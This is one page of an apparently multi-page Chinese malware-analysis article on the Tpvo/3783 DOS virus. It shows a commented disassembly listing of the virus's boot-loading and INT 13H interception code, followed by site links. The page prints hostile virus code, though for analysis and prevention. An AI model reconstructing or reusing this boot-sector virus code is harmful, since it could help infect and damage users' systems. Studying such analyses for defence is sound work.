Tpvo/3783 病毒的分析和防治

• F6C8:00FC 83C406　　　　ADD　　 SP,+06
  F6C8:00FF EB3D　　　　　JMP　　 013E ===> ;本句代码当病毒从 BOOT 区
  F6C8:0101 60　　　　　　PUSHA　 ;引入时为 CMP AL,3D
  F6C8:0102 1E　　　　　　PUSH　　DS
  F6C8:0103 06　　　　　　PUSH　　ES
  F6C8:0104 EB23　　　　　JMP　　 0129 ===> ;本句代码当病毒从 BOOT 区
  F6C8:0106 6A00　　　　　PUSH　　0000 ;引入时为 CMP AL,23
  F6C8:0108 1F　　　　　　POP　　 DS
  F6C8:0109 C41EA800　　　LES　　 BX,[00A8]
  F6C8:010D 26　　　　　　ES:
  F6C8:010E 803FCF　　　　CMP　　 BYTE PTR [BX],CF
  F6C8:0111 7514　　　　　JNZ　　 0127 ;INT 2AH 不是 IRET
  F6C8:0113 2E　　　　　　CS: ;转 0127 (013B) 执行
  F6C8:0114 891E3A04　　　MOV　　 [043A],BX
  F6C8:0118 2E　　　　　　CS:
  F6C8:0119 8C063C04　　　MOV　　 [043C],ES ;设置 BOOT 引入 INT 2A
  F6C8:011D C706A8008603　MOV　　 WORD PTR [00A8],0386 ;到 CS:0386
  F6C8:0123 8C0EAA00　　　MOV　　 [00AA],CS
  F6C8:0127 EB12　　　　　JMP　　 013B
  ;===========================================================================
  F6C8:0129 B80312　　　　MOV　　 AX,1203
  F6C8:012C CD2F　　　　　INT　　 2F　　　(Multiplex)
  F6C8:012E 8CD8　　　　　MOV　　 AX,DS
  F6C8:0130 3D1001　　　　CMP　　 AX,0110 　===> ;本数据由 039B 填入
  F6C8:0133 7406　　　　　JZ　　　013B ;为初始化时 MSDOS.SYS 数据段
  F6C8:0135 2E　　　　　　CS:
  F6C8:0136 C60604013C　　MOV　　 BYTE PTR [0104],3C
  F6C8:013B 07　　　　　　POP　　 ES
  F6C8:013C 1F　　　　　　POP　　 DS
  F6C8:013D 61　　　　　　POPA　　
  ;============================================================================
  ; 新 INT 13H 代码部分
  F6C8:013E 80FC02　　　　CMP　　 AH,02
  F6C8:0141 72B4　　　　　JB　　　00F7
  F6C8:0143 80FC03　　　　CMP　　 AH,03
  F6C8:0146 77AF　　　　　JA　　　00F7
  F6C8:0148 83F901　　　　CMP　　 CX,+01
  F6C8:014B 75AA　　　　　JNZ　　 00F7
  F6C8:014D 0AF6　　　　　OR　　　DH,DH
  F6C8:014F 75A6　　　　　JNZ　　 00F7
  F6C8:0151 80FA80　　　　CMP　　 DL,80 ;不是读引导区
  F6C8:0154 77A1　　　　　JA　　　00F7 ;转原 INT 13H
  F6C8:0156 E897FF　　　　CALL　　00F0 ;读出引导区
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐